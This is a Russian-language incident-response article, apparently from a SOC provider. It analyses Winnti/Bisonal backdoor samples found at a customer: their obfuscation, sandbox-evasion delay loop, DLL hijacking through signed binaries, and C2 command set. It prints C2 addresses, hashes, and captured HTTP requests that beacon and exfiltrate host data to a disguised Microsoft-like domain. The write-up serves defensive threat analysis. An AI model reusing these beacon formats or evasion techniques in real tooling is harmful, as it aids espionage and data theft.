Обзор обнаруженных техник и тактик группировки Winnti. Часть 1
Одно фишинговое письмо, по неосторожности открытое сотрудником компании, — и важная информация слита злоумышленнику. Всего лишь один клик мышью — и на компьютере сотрудника запущены процессы, «допускающие» злоумышленников к инфраструктуре организации. При этом «антивирусы» взлом пропустили. Как раз с таким случаем столкнулся наш автор, эксперт «Информзащиты», при обнаружении атаки группировки Winnti на компанию-заказчика. Эта группировка специализируется на краже данных у предприятий военно-промышленного комплекса, правительственных организаций и разработчиков ПО.
«Информзащите» удалось отследить и систематизировать техники и тактики Winnti. Анализ получился достаточно глубоким и будет любопытен техническим специалистам. Предлагаем погружаться в детали постепенно, а потому сегодня только первая часть скринов кода и наших комментариев.
Введение
В ноябре 2020 года при подключении заказчика на мониторинг SOC и анализе событий в инфраструктуре аналитики IZ: SOC компании «Информзащита» зафиксировали подозрительную активность. В процессе расследования инцидентов ИБ были обнаружены следы APT (advanced persistent threat).
Атаки проводились как с использованием автоматизированных средств разведки и проникновения, так и в ручном режиме, когда злоумышленники осуществляли непосредственное управление установленным в системе вредоносным программным обеспечением. Результатом атак, помимо проникновения и закрепления в инфраструктуре, был сбор информации со скомпрометированных хостов и ее отправка за пределы организации.
В состав используемого злоумышленниками инструментария входили:
средства для сбора информации;
средства удаленного управления;
многофункциональный бэкдор семейства Bisonal, утилиты для сканирования сети на наличие уязвимости CVE-2017–0144 (MS17–010);
утилиты из набора Impacket, программы для перенаправления сетевого трафика и извлечения паролей из памяти;
вредоносные динамические библиотеки для инъекции вредоносного кода;
легитимные процессы.
Согласно доступным нам на момент написания данной статьи отчетам производителей средств защиты информации, обнаруженные индикаторы компрометации и используемое вредоносное ПО предположительно относится к семейству Bisonal. Данные индикаторы могут быть связаны с APT-группой Winnti. Страной происхождения группы предположительно является Китай. Основными целями APT-атак, в которых используют указанное ВПО, являются шпионаж и кража критических данных. Как правило, жертвы группы Winnti — это организации, относящиеся к ВПК, аэрокосмической отрасли, а также правительственные организации, разработчики ПО.
Анализ функциональности вредоносного ПО
В рамках расследования инцидента было обнаружено несколько образцов вредоносного программного обеспечения. Результаты исследования некоторых из них представлены ниже.
MpUxSCuiL.exe
Один из обнаруженных образцов маскируется под модуль Windows Defender. В рамках анализа функциональности вредоносного ПО была установлена схожесть обнаруженных экземпляров с семейством Bisonal. В частности, было изучено поведение, методы обфускации кода и защиты от отладки.
Образец представляет собой средство для сбора информации о зараженной системе и скрытого выполнения команд от C2.
Для усложнения анализа функция main изученного образца насыщена переходами, а общее количество блоков составляет несколько тысяч.
Для загрузки необходимых библиотек используется явное связывание. Имена библиотек хранятся в зашифрованном виде и расшифровываются перед использованием.
В качестве С2 используются два сервера управления: внешний (172.217.13[.]84:443) и локальный (10.10.48[.]166:49688). В обоих случаях устанавливается TCP-соединение, через которое передаются зашифрованные данные. Адреса серверов управления также хранятся в зашифрованном виде. Для реализации сетевых соединений используются Windows сокеты и библиотека WS2_32.dll.
Функция decrypt
Декомпилированный код функции decrypt представлен на изображении. Данная функция используется для шифрования имен загружаемых библиотек, IP-адресов серверов управления и т.д.
Вместе с использованием избыточного ветвления в главной функции, в образце содержится множество строк, которые не выполняют никаких функций. Кроме того, в образце используются функции GetTickCount и IsDebuggerPresent, которые реализуют простейший механизм антиотладки.
Подобное поведение было описано в следующих отчетах
https://securelist.ru/cactuspete-apt-groups-updated-bisonal-backdoor/97729
https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html
https://unit42.paloaltonetworks.com/unit42-bisonal-malware-used-attacks-russia-south-korea/
Применение DLL Hijacking
Для закрепления в системе злоумышленники использовали технику Dll Hijacking. Основное преимущество в том, что в автозапуск системы прописывается уязвимый для Dll Hijacking легитимный файл, зачастую имеющий цифровую подпись. В этом случае вредоносная нагрузка злоумышленников располагается в DLL библиотеке, которая будет загружена при запуске легитимного исполняемого файла.
В ходе расследования инцидента было обнаружено несколько модулей, которые закреплялись подобным образом. Для реализации Dll Hijacking злоумышленники использовали легитимные файлы с цифровой подписью:
NvContainer64.exe (NVIDIA)- 1e3c33ff0386326773b6c58d46cbf53b1b2bef91
frwl_svc.exe (Dr.Web) — 6f86e203d20abb0499bbf8468095d99ffb20f6e2
LBTWiz.exe (Logitech) — 431e5aa8ab8616dbca14854182a6c0a73946abdc
bdreinit.exe (BitDefender) — f9a1e292bf6cdf7bb34c293dc06d8754549fe1a4
Анализ библиотек с полезными нагрузками в настоящий момент не завершен.
version.dll — e370e8d883ea347b6f3475522adc69bc8725d127
wtsapi32.dll — 3bb315d0a86cf6a08eb32ea5a59263fcb8a649af
LBTServ.dll — 387c404930815ac5711e52185492b6425b1de05a
dbghelp.dll — a543f2abe6e46aefde4aae0ccc82ad3c26e8c391
Conhost.exe
На нескольких хостах был обнаружен другой экземпляр вредоносного ПО, который использовала та же группировка. В ходе изучения образца был выявлена следующая функциональность:
передача списка процессов на C2;
завершение указанного оператором процесса;
загрузка с С2 и запуск исполняемого файла;
запуск командной оболочки для интерактивной работы оператора.
Главная функция семпла содержит более тысячи блоков с избыточным ветвлением и искусственным усложнением логики. При детальном рассмотрении установлено, что большинство блоков в главной функции не несут смысловой нагрузки и не выполняются при запуске образца. Кроме того, в главной функции содержится множество статических строк, которые не используются. Как и в случае MpUxSCuiL.exe, эти строки не участвуют при выполнении основной логики и служат лишь для усложнения анализа.
Также в целях усложнения анализа авторы семпла реализовали специфический механизм для задержки выполнения программы. Данный механизм представляет собой счетчик, в котором вместо целочисленных значений сравниваются значения хешей MD5 от целых чисел. При этом число представлено в кодировке ANSI. Конечным значением счетчика является хеш 0882a673e1a7ef00f19171501163b669 от последовательности байт 0×313038333736363439 (число 108376649). Подобные вычисления создают большую нагрузку на центральный процессор, что вызывает практически полную его загрузку на несколько минут. Предполагается, что такая сложность вычислений заставит некоторые антивирусные средства и песочницы прервать проверку файла.
Счетчик на значениях MD5Константные значения, которые используются в алгоритме MD5
Далее семпл получает свое название с помощью функции GetModuleFileNameW и проверяет один из двух критериев: если название модуля не conhost.exe или в названии отсутствует расширение .tmp, то семпл прекращает свою работу.
После проверки имени образец расшифровывает другой набор строк для дальнейшей работы. В качестве шифрования используется XOR. Несмотря на то, что ключ XOR генерируется «на лету», он статичен и совпадает для всех строк. В приведенном наборе строк находятся HTTP-заголовки, домен сервера управления, эндпоинты сервера управления, название библиотеки wininet.dll и ее экспортируемые функции.
Далее образец загружает библиотеку wininet.dll с помощью функции LoadLibrary. После получения адреса библиотеки в памяти с помощью функции GetProcAddress вычисляются смещения до экспортируемых функций:
Список используемых функций wininet.dll
Далее вредонос получает данные о системе:
используемый прокси-сервер;
раскладка клавиатуры;
время с момента загрузки системы;
имя компьютера;
учетная запись, из-под которой запущен семпл;
локальный IP-адрес хоста.
Для работы с сервером управления образец периодически отправляет Hello-сообщения на С2 через HTTPS соединение. В поле Cookie передается информация о зараженной системе закодированная Base32. Формат передаваемых в Cookies данных представлен на рисунке.
GET /ru/order/index.php? strPageID=2150213824 HTTP/1.1
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/66.0.3359.181 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU, ru; q=0.9, en-US; q=0.8, en; q=0.7
Cookie: JSESSIONID=AHAKQKMAWUAQAAH75IMAIAAAAAAAMAAAAAAQAAAAAEHQAV
2JJYWUKRSVIZIDSTSKJNJFEBAAOVZWK4QPABLUSTRNIVDFKRSQHFHEUS2SKIJAAMJSG4XDALRQFYYTUOBQHAYDUOSPNYDAA3TFO44TCMI=
Host: microsoft.offices-update.com
Если в теле ответа на Hello-сообщение сервер возвращает {«status»: «success»}, семпл создает новый поток, в котором выполняются обращения на другой эндпоинт сервера управления: https://{Domain}/ru/news/index.php. В качестве параметра newsID используется дата и время (только минуты и секунды). Этот эндпоинт применяется для передачи вредоносу различных команд.
GET /ru/news/index.php? strPageID=2150213824&newsID=2021–04–12–2658 HTTP/1.1
Host: microsoft.offices-update.com
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/66.0.3359.181 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU, ru; q=0.9, en-US; q=0.8, en; q=0.7
В ответе сервера может быть передана одна из команд.
1. Загрузка и запуск исполняемого файла:
обращение к эндпоинту https://{domain}/sitefiles/index.php и сохранение файла в каталоге %TEMP%;
запуск исполняемого файла с помощью функции ShellExecuteW;
передача вывода запущенного файла на эндпоинт-приемник.
2. Запуск интерактивной командной оболочки:
запуск экземпляра командной строки;
периодическое чтение и передача вывода командной строки.
3. Передача команды в экземпляр командной строки через pipe
4. Получение списка процессов
5. Завершение указанного процесса
Вывод каждой из описанных команд передается на специальный эндпоинт-приемник в виде POST-запроса. Передаваемые данные шифруются тем же XOR-ключом, что и строки в теле трояна.
POST /xhome.native.page/datareader.php? sid=2150213824 HTTP/1.1
Host: microsoft.offices-update.com
Connection: close
Accept: */*
Referer: /siteFiles/index.php? strPageID=2150213824
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/66.0.3359.181 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU, ru; q=0.9, en-US; q=0.8, en; q=0.7
Content-Length: 21
Cache-Control: no-cache
Если команда в ответе отсутствовала, троян засыпает на случайное количество миллисекунд.
GET /siteFiles/index.php? strPageID=2150213824 HTTP/1.1
Host: microsoft.offices-update.com
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/66.0.3359.181 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU, ru; q=0.9, en-US; q=0.8, en; q=0.7
Kill Chain
На рисунке 1 представлены действия злоумышленников в инфраструктуре. Из проведенного анализа в предыдущей главе мы предполагаем, что для получения первичного доступа к системе использовался фишинговый документ. Далее на компьютере одного из сотрудников была запущена вредоносная нагрузка, которая подключалась к внешнему серверу и скачивала исполняемый код. На каждом хосте вручную собирались уникальные вредоносные нагрузки, которые в дальнейшем использовали технику Hijack Execution Flow: DLL Search Order Hijacking для закрепления в системе. Также закрепление происходило с помощью классических техник, а именно: модификаций веток в реестре, запуска вредоносных служб, создания задач в планировщике заданий.
После этого злоумышленники проводили разведку с использованием как стандартных системных утилит, так и с применением специального ПО. Для перемещения внутри инфраструктуры и удаленного выполнения команд использовалась утилита из пакета Impacket — wmiexec.exe. Доступ к учетным записям был получен посредством обращения к области памяти процесса lsass.exe.
В качестве инструмента для вывода данных во внешнюю сеть злоумышленники использовали собственную сборку архиватора.
Существуют различные подходы к описанию действий злоумышленника. В данной статье будет использован TTPs-подход на основе ATT&CK MATRIX, доступной базы знаний, основанной на анализе реальных атак.
Использование такой системы категоризации поведения атакующих позволяет не только предсказать дальнейшие шаги, но и выявить конкретную группировку в соответствии с используемыми методами.
Initial Access (TA0001) / Execution (TA0002) / Prive
Предположительно, начальный доступ к инфраструктуре был получен в результате отправки фишингового письма сотруднику организации. По обнаруженным остаточным следам после открытия вложения на компьютере запускается вредоносная нагрузка, которая подключается к внешнему серверу и скачивает исполняемый код.
Вредоносная нагрузка не детектируется распространёнными на рынке антивирусными средствами как на клиенте, так и на почтовом сервере…
Продолжение читайте во второй части. Мы расскажем, каким образом злоумышленники обходили защиту, как усложняли оценку критичности украденной информации, и что именно позволило аналитикам провести работу по определению скомпрометированных хостов и предотвращению дальнейшего продвижения злоумышленников внутри сети.